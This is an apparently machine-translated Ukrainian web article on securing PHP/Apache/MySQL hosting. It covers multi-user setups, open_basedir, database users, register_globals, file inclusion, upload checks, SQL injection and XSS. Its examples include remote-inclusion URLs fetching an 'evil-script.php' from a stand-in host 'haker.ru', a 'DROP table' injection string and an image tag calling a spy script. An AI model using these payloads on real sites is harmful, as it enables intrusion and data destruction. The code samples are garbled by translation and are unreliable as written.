ru en uk

  авторизація



   Ціни

Установка сервера


Мультіхоствая конфігурація сервера


Відразу скажемо що PHP і Апач в цій області далеко не просунулися. Нормальна багатокористувальницька конфігурація веб-сервера повинна працювати під різними користувачами. Тобто кожен користувачмає свою обліковий запис в системі, увійти під нею через ФТП, закачує файли з правами 0700 і тільки він може оперувати зі своїми файлами на веб-сервері. Для цього діє механізм suExec, який, на жаль, не поддерживается Апачем, коли PHP запущений як модуль. Ця настройка діє тільки для CGI.


Є декілька різних рішень цієї проблем:

  • Налаштувати хитромудрі систему користувачів / груп, суть якої завжди зводиться до того що всі користувачі входять в одну групу, під якою і запущений юзер апача. Наприклад, є група "www "в яку входять користувачі" nobody "," pupkin "," jsmith ". В httpd.conf є директива
    ... <br>
    <b> User </ b> nobody <br>
    <b> Group </ b> www <br>
    ...

    а ФТП налаштований такщо користувачі кладуть файли з правами 640. Якщо вони хочуть змінювати файли не тільки по ФТП а й через скрипти, вони виставляють права 0660.

    в будь-якому випадку така система дозволяє одним користувачам читати вміст файлів інших користувач, а іноді (права 0660) навіть змінювати їх.
  • Та ж система, але з включеним safe_mode = On. Надійна, але глючная конфігурація. Якщо за тиждень користувачі pupkin і jsmith НЕ заклюют користувача root то це значить що вони не використовують функції роботи з файлами. Але якщо вони задуманий додати на свій сайт что-то типа загартуваннячки файлів - адміну сервера краще не потрапляти їм на очі. А все из-за того, що ця директива несумісна з механізмом suExec Апача. При роботі з файлами вона перевіряє, чи власник файлу / каталогу з пльзователем Апача. А оскільки користувач nobody (Апач) і pupkin (файли користувача) совсем різні - у Пупкина нічого не вийде при спробах move_uploaded_file (), fopen (), gzopen () etc.
  • Та ж система, але з включеним open_basedir =. Найбільш часто зустрічається спосіб. Конфігурація обмежує які файли можна відкрити за допомогою PHP до певного вузла дерева каталогів. Робота директиви не залежить від того, чи включена директива safe_mode. Коли скрипт намагається відкрити файл, для прикладу, через fopen або gzopen, перевіряється шлях файлу. Якщо файл знаходиться поза зазначеного дерева, буде видано попередження і функція не спрацює. Symlink'і також відкриваются. Спеціальне значення. вказує що директорія з якої запущений скрипт буде вважатися базової. Для того, щоб вказати декілька значення, їх потрібно розділити двокрапкою (під Вінд - крапкою з комою). As an Apache module, open_basedir paths from parent directories are now automatically inherited. <br />

    Значення open_basedir на самом деле - префікс, а не назва директорії. Це означає, що "open_basedir = / dir / incl" також дозволить доступ до "/ dir / include" і "/ dir / incls" якщо вони існують. Якщо потрібно обмежити доступ до певної директорії - вкажітьіте її зі слешем в кінці: "open_basedir = / dir / incl /"
  • Запустити кілька веб-серверів під різними користувачами. Не зовсім вдале рішення, доведеться ставити їх на різні порти, що незручно. До того ж 3-5 серверів напевно тормознут навіть хороше залізо.
  • ЯкщоВам наплювати на всякі там попередження типу
    Do not use Apache 2.0 and PHP in a production environment neither on Unix nor on Windows.

    то можна поставити модуль MPM (Multi Processing Module), який включається до Апач2. Запустивши Апач з модулем "mpm_perchild_module "можна запускати віртуальні хости під різними юзверямі, що ИМХО є кращим варіантом, особливо в комбінації з safe_mode = On.


Настройка СУБД


Для кожного проекту створіть в СУБД окремого користувача, який має право тількиПро на свою базу даних. Наприклад, для сайту г-на Пупкина в СУБД MySQL повинні з'явитися такі записи:

<b> INSERT INTO user </ b> ( 'Host', 'User', 'Password', 'Select_priv', 'Insert_priv', 'Update_priv', 'Delete_priv', 'Create_priv', 'Drop_priv', 'Reload_priv' , 'Shutdown_priv ',' Process_priv ',' File_priv ',' Grant_priv ',' References_priv ',' Index_priv ',' Alter_priv ') <br>
<b> VALUES </ b> (<br>
'localhost', 'pupkin', 's0ac67a5', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N ',' N ',' N ',' N ',' N '<br>
); <br> <br>

Сім разів подумайте перед там як дати права на '%' а не на 'localhost' і ніколи під будь-яким приводом не робіть цього для користувачівлей з правами 'root'.

REGISTER_GLOBALS


Дуже важлива настройка, яка вляіет не тільки на проізводітеольность, а, в першу чергу, на безпеку скриптів. Справа в тому, що при register_globals = On всі змінні з EGPCS (environment, get, post, cookie, session) будуть доступними як звичайні змінні, а при наявності двох змінних з однаковим ім'ям, значення буде взято з тієї що лівіше в цій послідовності: EGPCS. Цю настройку можна змінити в php.ini. Типовий приклад - підробка даних сесії через GPC, наприклад - взлом авторізаціі.

Включення з URL'ов


Дуже поганий підхід до програмування робити як в такому прикладі:

index.php? showpage = news.php
<? php
$ page = $ _GET [ 'showpage'];
include ($ page);
?>

У кращому випадку викликсторінки index.php? showpage = bla_bla.php покаже помилку і деякі дані сервера, у гіршому - читати файли паролів etc. і можливість хакеру запускати свої скрипти у вашому віртуальному хост з усіма відповідними наслідками. Остання загроза лежить в тому, що хакер може запустити віддалений файл через

index.php? showpage = ftp://ftp.haker.ru/evil-script.php

або

index.php? showpage = http://haker.ru/evil-script.php

(Природно, файл evil-script.php не повинен Парс сервером haker.ru, а видавати вміст як є)

Непроверкатипів файлів при закачки


Якщо давати користувачам можливість завантажувати деякі файли (наприклад фотки, свої файли) на файлову систему сервера і при цьому не перевіряти їх розширення, то верняк - вас хакнут. Досить буде закачати свій скрипт з розширенням *. php а потім запустити його,як можна буде отримати доступ до всієї инфе на сайті, скрипти, бази а також подредактіровать вміст.

Як перевіряти можна подивитися тут

Непроверка вводу користувача


Все що вводиться через GET-POST-COOKIE обов'язковийале має перевірятися, приводиться до найменшому типу, тому що ніхто не заважає юзеру поредактіровать POST-форму, дописати в УРЛу чого-небудь, поредактіровать Куку або, взагалі, послати свій запит Телепорт, вообщем - надіслати вам троянських свиню

Найбільш типова мета таких атак - SQL запити, які формуються із запитів користувача. У такому прикладі:

file.php? id = 23
<? php
$ res = mysql_query ( "SELECT * FROM table WHERE id =".$_ GET [ 'id']);
?>

ніщо не заважає дописати користувачеві що-небудь КРОме? id = 23 або спровокувати помилку. Наприклад

index.php? id = 23; DROP table

видалить таблицю, а еще, в залежності від прав користувача, можна багато чого натворили.

Завжди приводите типи змінних до найменшому:

index.php? id = 23; DROPtable

<? php
$ id = (int) $ _GET [ 'id'];
if ($ id <1) (
die ( 'No ID specified');
)
$ res = mysql_query ( "SELECT * FROM table WHERE id =". $ id);
?>

виведе що й очікувалося.

Якщо дані повинні бути рядкові --перевіряйте їх якомога глибше. Це може бути і довжина (максимальна, мінімальна, порожній рядок), наявність неприпустимих знаків (латинські, цифри, кирилиця), правильність УРЛов, адрес електронної пошти.

Навантажених УРЛи


Передавайте через урл мінімум інформації:
<b> http://www.example.com/showuser.php?name=Pupkin&dept=13&cat=employee&show=full </ b> <br>
набагато краще буде так <br>
<b> http://www.example.com/showuser.php?id=176 </ b>

Використання Відвідайітелямі HTML


Якщо ви даєте своїм відвідувачам вводити будь-які дані, які потім будуть показані на сторінці (н. повідомлення форуму, чату, новини, резюме etc.) ВСЕГДА робіть над введенням користувача htmlencode () перед тим як видати його на-гора. А то вони обов'язково напіхают туди будь -або <img src="http://haker.ru/evil-spy.php"> або <iframe src=c:> </ iframe>
« ‹  1 | 2   »

 
Робота з базами даних
29.05.2007
Постранічний висновок результату
29.05.2007
Блокування файлів
29.05.2007